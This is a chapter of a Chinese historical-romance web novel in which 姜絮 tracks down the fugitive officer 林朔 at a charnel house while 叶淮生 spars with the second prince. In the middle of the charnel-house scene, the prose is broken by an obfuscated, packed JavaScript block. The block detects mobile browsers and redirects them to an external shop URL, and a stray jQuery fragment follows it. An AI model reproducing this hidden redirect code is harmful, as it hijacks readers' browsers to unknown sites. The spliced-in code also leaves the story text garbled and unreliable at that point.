26. 杀你

作品:《嫁罪臣

    听闻此言,姜絮识趣走开。


    半晌后,阿策抱着一个约十三四岁的女孩从地窖里走出,见姜絮眼神落在他怀里的女孩,忙解释道:


    “这是林铃,林朔的妹妹。”


    “她腿受过伤。”说着,他把林铃放到地上。


    林铃双手扶着阿策的小臂,右脚落地,左脚微微踮起,脚后跟悬空,似小腿短了一截。


    她好奇地打量着面前这个锦衣华服,清冷之中又带了些许温婉气质的女人。


    “这是……”她问阿策,直往阿策怀里躲。


    “她是侯夫人,是她救的你们。”阿策言简意赅解释,将林铃护在臂弯。


    在场的人纷纷拱手作揖:“谢侯夫人救命之恩”。


    姜絮抬手,说了句“免礼”,朝林铃望去。


    只见她发端挽着双环髻,眉眼静秀,身着鹅黄交领襦裙,腰间用红绳系着两个金色铃铛,随着她步伐走动,丁零当啷作响。


    她也朝姜絮望来。


    两人目光对视的一瞬间,她突然跪在地上,哀婉地说道:


    “求侯夫人,救救我兄长。”


    姜絮快步上前将她扶起,攥着她细瘦的手腕,回道:


    “林朔最近一次现身,是在义庄附近。但是目前我们还未能与他取得联系,即使我们想救,也无能为力。”


    “我有办法。”林铃抬眸,目光清亮,一瞬点燃了在场所有人的希望。


    -


    接到阿策飞鸽传书的时候,叶淮生正立于猎帐中,手里摩挲着那烟青色的香囊,被下属扰了兴致,脸上顿时闪过一丝不悦:


    “呈上来。”


    他接过字条,乜了一眼内容,嘴角勾起一抹畅快的笑意,指腹捻着香囊的暗纹走线凸起,心下却还在思索着:


    她究竟是如何不动声色地将林朔家眷救出。


    念及此,他的心已经迫不及待地飞回侯府。


    想到她定会在他面前巧舌如簧一番,他的脸上露出一抹连他自己都未察觉的温柔。


    笑意还未来得及收敛,却又听见营帐外有人低声来报:


    “侯爷,二皇子殿下往咱们这边过来了。”


    速度还真快。


    前脚刚收到飞鸽传书,后脚他就黏了过来。


    “见过二皇子。”叶淮生双手抱拳,微微躬身,躬身幅度极浅,不过一瞬便直起身来,目光耐人寻味地朝二皇子看去。


    “二皇子深夜拜访,可是有要事?”


    二皇子脸上挂着笑,说道:


    “猎场风寒,本殿特带了锦被送与侯爷,夜里好歇得安稳些。”


    说着,不得对方拒绝,手下便已将锦被递与侯府侍从。


    叶淮生瞥了一眼,回道:


    “多谢二皇子美意。”


    接着又眼神发问:还有何事?


    逐客令下得很明显,但对方装没看懂,仍继续攀谈:


    “此次春蒐,圣上密令侯爷与御史夫人同来,看来圣上对侯爷信任有加,侯爷沉冤昭雪指日可待。”


    叶淮生嘴角勾起一抹轻蔑的笑,指尖揉捻着还未来得及收起的字条,颇有挑衅意味地说道:


    “是啊。”


    “听说林朔的家眷已被掳走。”


    “你说这林朔,若是没了后顾之忧,他的证词又会是怎样的呢?”


    二皇子脸上的笑意一瞬僵住,眼底的假意悉数褪去,再抬眸时,又恢复了惯常的假惺惺,说道:


    “恭喜侯爷。”


    “只待林朔阐明真相,侯爷便可洗刷冤屈。”


    “只是不知,这林朔,可有被抓归案?”


    他问到点上了,只要这林朔一日不被抓到,这案件便一日处于谜团。


    到时候朝堂施压,按照已有的证据,也足够让叶淮生抄家,即使不死,至少也会削爵,压一压他平日里的嚣张气焰。


    “快了。”叶淮生淡然回道,语气中似有十足的把握。


    “哦?听侯爷此言,似已胜券在握。”二皇子面上沉稳,心下却已乱作一团。


    叶淮生摇头,回道:


    “听说林朔的家眷,是在监军御史的看守下逃脱的。”


    “监军御史这次又盯上了林朔,那林朔岂不是……”


    叶淮生话没说完,个中深意,相信二皇子已然听懂。


    饶是二皇子再淡定,听闻此言,眼里也是一股莫名的怒意,攥着的拳头微微颤抖,走出营帐多远后才脱口骂道:


    “废物!”


    “这范知远做什么都不行!”


    “本殿还留着他作什么?”


    说完,他又乜斜着眼,再次跟侍从确认一遍:


    “范御史今日,当真什么都未上报?”


    侍从躬身回道:


    “属下再三追问,范大人确实说的无事可报。”


    听闻此言,二皇子的脸上阴翳更甚,他缓缓闭上双眼,长吁一口气,脸上肌肉横斜,似起了杀意。


    -


    京郊义庄。


    夜风寒凉,吹落槐叶,簌簌落满院墙,也落在孤身一人的姜絮身上。


    她一手拂掉槐叶,一手提着灯笼,借着微弱的烛光,她推开木门,带着“吱呀”一声轻响,惊飞檐下几只麻雀。


    她抬眼便见棺材左右错落的院中,立着个佝偻驼背的老者。


    那老者闻声抬头,拿着苕帚扫地的动作顿住。


    梁上挂着的两个白纸灯笼,正在他身后的风中摇曳,衬得他浑浊的双眼稍显诡异。


    他明明见着了门口提灯向他走去的姜絮,却跟没看见一样,继续扫着落叶。


    姜絮被这场景吓得太阳穴突突直跳,但仍稳住心神,缓步上前,问侯道:


    “老伯安好,小女到此为寻一人……”


    话未说完,老者抬头瞪她一眼,没好气地说道:


    “此地除了老朽,只有死人,姑娘请回吧。”


    姜絮没有退步,她立在原地,手中灯笼被风吹得晃动,映照她脸上漾着暖黄的光泽,看起来一副娇气柔弱的模样,但眼神里却满是淡静坚毅。


    老者把苕帚顿在地上,上下打量她一番,又见她身后还背着把长弓,顿时猜到了什么,劝道:


    “姑娘若是寻那仇家,既然知那仇家进了这义庄,那便是已死之人,姑娘可安心归去。”


    姜絮缓步后退,踩得地上槐叶沙沙作响。


    右手从身后取下弓身,左手从箭囊里取出羽箭,她边退边拉满弓弦,对着老者向正堂走去的背影,厉声发问:


    “敢问老伯,可曾听说过林朔?”


    那老者脚下一顿,背影明显僵了一下,不耐烦地砸着手中的苕帚,气道:


    “没有!都说了此地没有活人。”


    “哦?”


    姜絮拉长语调,脚步上前,箭矢对准老伯的后脑勺,说道:


    “我可没有说林朔还活着?”


    “老伯又怎知我找的人是活人!!!”


    她声声逼问,威吓的声音在院中来回飘荡,震慑心魄。


    那老者被她激怒,顿时转过身来,正欲与她理论一二。


    回头却见“咻”的一声,一支冷箭扑面而来,他下意识拿起手中苕帚,横劈扫过,箭矢折向,“笃”的一声钉进一旁的棺材板上,箭风吹得白纸殃榜凌乱翻飞。


    他再抬眼时,正对上姜絮洞穿一切的眼神。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17084021|194933||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    “你——就是林朔!”她笃定道。


    在林朔提起苕帚朝她发起攻势时,她淡然立在原地,从袖中取出两个金色铃铛,慢悠悠地摇着。


    叮当叮当,清脆铃响。


    苕帚从她太阳穴一侧堪堪擦过,凌厉的风刮在脸上,带来土腥的灰尘味道,似混杂着一些腐木碎屑,让姜絮鼻腔微呛。


    她抬手,在鼻尖扇了扇。


    林朔停在她身后,撤掉了驼背伪装,已然直起身来,只是落在地上的影子便可瞧见其高大威猛的模样。


    不愧是叶淮生的偏将。


    “你的铃铛从何而来?”他问,字字发狠,将苕帚用作剑一般,横在姜絮颈侧,威胁道:


    “如实招来,即使是一把苕帚,我也可以取了你的小命。”


    “从林铃手里得来。”她回道,微微侧头,望向身后的林朔。


    借着地上的灯笼光,她瞧见他的右耳下肩颈处有一颗黑痣,正如林铃告诉她的那样。


    刚才不过是试探,此时才是确认。


    “你把她怎么了?”他问,手中苕帚轻颤,朝姜絮的脖颈逼近。


    姜絮稍稍后仰,她闻不得苕帚里的灰尘味道,眉头皱起,回道:


    “她让我来救你。”


    “救我?”林朔显然不信,喉间溢出一声冷笑,再次将苕帚推到姜絮身前,喝道:


    “回答我!你究竟把她怎么了?”


    姜絮被翻飞的灰尘呛得连打几个喷嚏,眼中溢出些许泪意,解释道:


    “我救了她,她让我来救你。”


    说着,她从袖中抽出一条红线,她将红线缠绕指尖,抬手立在他面前。


    随着她掌心摊开,月牙型的令牌吊在他眼前,随着红线的牵引轻轻晃荡。


    “侯爷?”他轻声试探道。


    姜絮不语,又从袖中取出第二枚令牌。


    “阿策?”


    别忘了,她还有一个。


    “卫珏?”


    三人的狼牙令整整齐齐在他面前晃着,他开始猜测起姜絮的身份,问道:


    “你究竟是何人?”


    她反手将令牌收入掌中,正色道:


    “镇北候明媒正娶的夫人。”


    他眼中犹疑了一瞬,随即单膝跪地,垂首抱拳作揖:


    “属下林朔,见过候夫人。”


    “先前多有得罪,望候夫人恕罪。”


    “我知道。”姜絮回道。


    林铃把铃铛交给她的时候说过:


    “我小时候随兄长一同上山采药,不小心跌落崖底,兄长找了许久才把我找到。”


    “只不过他来得太晚,错过了救治时机,我的一条腿就这么废掉。”


    “后来他发现,我跌落的地方,他曾无数次找过,但都因草丛深阔,而虚弱的我又无力发声,所以他一次次从我身旁错过。”


    “他为此感到自责,特地去栖云寺求了两个铃铛,让我随身系着。他说,只要铃铛声响,他就能找到我的方向。”


    所以这次,姜絮带着这两个铃铛到了这京郊野地。


    她先在义庄附近晃荡了一圈,让遍野都能听到铃铛的声响,而后才推开了义庄的柴门。


    “我挺喜欢林铃。”姜絮缓缓开口道,似拉家常的语气:


    “她让我救你。”


    “侯爷也默许我救你。”


    “只要救了你,侯爷很快就能洗清嫌疑。”


    说完,她抬眸,目光清冷,片刻间已褪去先前伪装的温柔,眼底掠过一丝杀意,连呼吸都似带着冷硬的凌厉。


    “可是。”


    她停顿一下,语气平静地说道:


    “有人命我杀你。”